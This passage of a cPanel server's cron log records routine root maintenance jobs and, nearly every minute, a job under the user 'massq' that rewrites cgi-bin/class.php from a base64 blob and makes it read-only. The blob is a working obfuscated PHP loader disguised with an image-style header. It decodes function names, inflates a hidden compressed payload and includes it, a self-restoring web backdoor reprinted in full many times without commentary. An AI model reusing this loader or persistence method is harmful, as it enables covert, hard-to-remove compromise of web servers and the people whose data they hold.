QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:57:01 server CROND[7045]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 13:57:01 server CROND[7046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:58:01 server CROND[7091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:59:01 server CROND[7140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:00:01 server CROND[7263]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:00:01 server CROND[7264]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 14:00:01 server CROND[7265]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 14:00:01 server CROND[7266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:00:01 server CROND[7268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:01:01 server CROND[7422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:01:01 server CROND[7423]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 14:01:01 server run-parts(/etc/cron.hourly)[7423]: starting 0anacron
Apr 12 14:01:01 server run-parts(/etc/cron.hourly)[7435]: finished 0anacron
Apr 12 14:02:01 server CROND[7497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:03:01 server CROND[7544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:04:01 server CROND[7594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:05:01 server CROND[7647]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 12 14:05:01 server CROND[7648]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:05:01 server CROND[7649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:05:01 server CROND[7651]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 14:05:01 server CROND[7650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:06:01 server CROND[7863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:07:01 server CROND[7915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:08:01 server CROND[7974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:09:01 server CROND[8030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:09:01 server CROND[8031]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 14:10:01 server CROND[8087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:10:01 server CROND[8088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
